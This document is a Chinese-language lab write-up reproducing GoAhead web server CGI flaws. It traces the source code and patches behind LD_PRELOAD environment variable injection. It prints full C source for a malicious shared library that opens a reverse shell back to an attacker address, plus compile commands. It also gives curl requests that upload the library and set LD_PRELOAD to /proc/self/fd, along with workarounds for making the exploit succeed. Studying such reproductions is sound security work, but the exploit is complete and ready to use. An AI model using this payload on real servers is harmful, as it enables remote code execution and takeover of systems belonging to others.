GoAhead支持运行ASP、Javascript和标准的CGI程序,这个漏洞出自CGI程序
该漏洞是利用服务器初始化CGI时,使用了HTTP请求参数,使用特殊的参数名LD_PRELOAD劫持libc库,进而实现远程命令执行
GoAhead Web Server < 3.6.5
漏洞出现在goahead/src/cgi.c
中的cgihandler
中
cgi.c描述:
This module implements the /cgi-bin handler. CGI processing differs from
goforms processing in that each CGI request is executed as a separate
process, rather than within the webserver process. For each CGI request the
environment of the new process must be set to include all the CGI variables
and its standard input and output must be directed to the socket. This
is done using temporary files.
在函数中的137行
逻辑中,将http的请求参数分割为键值对的形式
之后在162行
中只对REMOTE_HOST
HTTP_AUTHORIZATION
这两个键值进行了过滤,其他的,比如这里的漏洞利用LD_PRELOAD
完全信任
之后在180行
左右将输入输出指向了一个临时文件
我们可以跟进websGetCgiCommName
函数查看临时文件
跟进websTempFile
在goahead.c
中有
这里可以知道如果没有指定路径,默认是/tmp
路径
之后找到launchCgi
的处理函数在cgi.c
的533行左右
可以知道先打开stdIn
以及stdOut
指向的文件即两个tmp文件,然后创建子进程,在子进程中将进程的标准输入与输出重定向到了两个打开文件句柄中,最后调用execve
去启动新进程执行cgi文件,cgi可执行文件执行的过程中,标准输入会从stdIn
文件中获取,标准输出会输出到stdOut
文件中。execve
启动的第三个参数envp
即是之前cgiHandler
解析过的envp数组,以此实现将cgi可执行程序的变量放入到环境变量中所以这里就可以使用 LD_PRELOAD
配合/proc/self/fd/0
实现代码执行
所以如果我们将相同构造的evil.so放在http的POST body部分,发送?LD_PRELOAD=/proc/self/fd/0
就会加载我们的恶意so文件
这里直接使用vulhub的docker-compose.yml了
docker-compose up -d
成功访问cgi-bin下的index
构造payload:
evil.c
#include<stdio.h> #include<stdlib.h> #include<sys/socket.h> #include<netinet/in.h> char *server_ip=""; uint32_t server_port=7777; static void reverse_shell(void) __attribute__((constructor)); static void reverse_shell(void) { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0) exit(0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/bash", 0, 0); }
编译
gcc exp.c -fPIC -s -shared -o evil.so
发送evil.so
curl -X POST --data-binary @evil.so http://192.168.153.136:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0
成功反弹shell
这个CVE和上面那个CVE类似,同样是使用LD_PRELOAD
来进行利用
我们来看看官方针对上面CVE的修复
同样是在cgi.c
中对应位置,他增加了LD开头的过滤
但是他这里使用了一个strim方法
跟进
这里的vp
将恒为0,而且在后面也使用sfmt
格式化字符串,但是同样的也需要s->arg!=0
才会进入执行,它默认状态下是为0的
当然,也同样在http.c中添加了让他为1进入if语句
在2021.5.19的时候官方默认关闭了CGI配置(DEV: remove options/trace routes from default · embedthis/[email protected] (github.com))
存在有cgi-bin目录且存在有cgi文件
GoAhead web-server=4.x 5.x<=GoAhead web-server<5.1.5
通过前面的补丁分析,我们知道他加上了前缀处理
在GoAhead进行开启时,调用http.c#websServer
完成初始化处理
之后如果是存在上传文件功能
在upload.c
中,默认的上传文件目录是/tmp
在processUploadHeader
中构造此次HTTP请求结构体的uploadTmp
值
跟进websTempFile
与前面分析差不多,会生成一个/tmp/tmp-0.tmp
的临时文件
之后会在processContentData
处理上传文件时,将调用writeToFile
写入文件
在最后响应请求的时候,就会调用route.c#websRunRequest
方法,其中有两个方法websSetQueryVars
websSetFormVars
这2个函数都调用了addFormVars
, 他们都会将arg
置为1进行环境变量的重命名
但是在调用websSetFormVars
方法时需要满足if语句,前提是wp-flags
取值为WEB_FORM
当content-type
为multipart/form-data
时,wp-flags
将赋值为WEBS_UPLOAD
,也就是说,如果HTTP请求为文件上传类型时,参数将不会通过addFormVars
处理,此时s->arg
取值仍然为0
,从而在cgi.c#cgiHandler
中将不会重命名环境变量
在http.c#parseHeaders
进行了判断
所以我们就可以通过表单的方式传入LD_PRELOAD环境变量
Dockerfile
FROM debian:buster RUN set -ex \ && apt-get update \ && apt-get install wget make gcc -y \ && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \ && cd /usr/src \ && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \ && make install \ && cp src/self.key src/self.crt /etc/goahead/ \ && mkdir -p /var/www/goahead/cgi-bin/ \ && apt-get purge -y --auto-remove wget make gcc \ && cd /var/www/goahead \ && rm -rf /usr/src/ /var/lib/apt/lists/* \ && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt COPY hello /var/www/goahead/cgi-bin/hello RUN chmod +x /var/www/goahead/cgi-bin/hello EXPOSE 8081 CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead", "0.0.0.0:8081"]
hello
#!/bin/bash echo -e "Content-Type: text/plain\n" env
docker-compose.yml
version: '2'
services:
web:
image: vulhub/goahead:5.1.4
ports:
- "8080:80"
volumes:
- ./hello:/var/www/goahead/cgi-bin/hello
这里可以使用Dockerfile
构建镜像,或者使用上面的docker-compose.yml
构建容器,但是后者需要进入容器给hello
可执行权限,当然也可以构造另一个Dockerfile
直接一步完成
docker-compose up -d
构造成功
探测注入:
可以发现成功写入了环境变量
构造payload:
curl -v -F data=@evil.so -F "LD_PRELOAD=/proc/self/fd/0" http://192.168.153.136:8080/cgi-bin/hello
但是这个payload不得行,按照p神的说法有几个坑
GoAhead在遇到上传表单的时候,会先将这个上传的文件保存在一个临时目录下,待脚本程序处理完成后删掉这个临时文件,默认是在--home
的相对目录tmp
中,可以通过宏ME_GOAHEAD_UPLOAD_DIR
指定(可以在/etc/goahead下创建tmp目录或者在Dockerfile中make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"
指定宏)
这里POST的数据将会大于ME_GOAHEAD_LIMIT_POST
, 在代码http.c#parseHeader
我们可以在编译的时候通过-s
缩小大小
没有fd文件描述符
当然,如果像这里有env输出了临时文件的位置,我们完全可以直接通过LD_PRELOAD=/tmp/tmp-xxx
直接包含,实战中当然不可能
也有其他解法
一. 添加脏数据并将HTTP的Content-Length设置成小于最终的数据包Body大小这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕
curl -v -F [email protected] -F "LD_PRELOAD=/proc/self/fd/7" -x http://127.0.0.1:8081 http://192.168.153.136:8080/cgi-bin/hello
二:抓包爆破/proc/self/fd/$7$
成功反弹shell
GoAhead环境变量注入复现踩坑记 | CN-SEC 中文网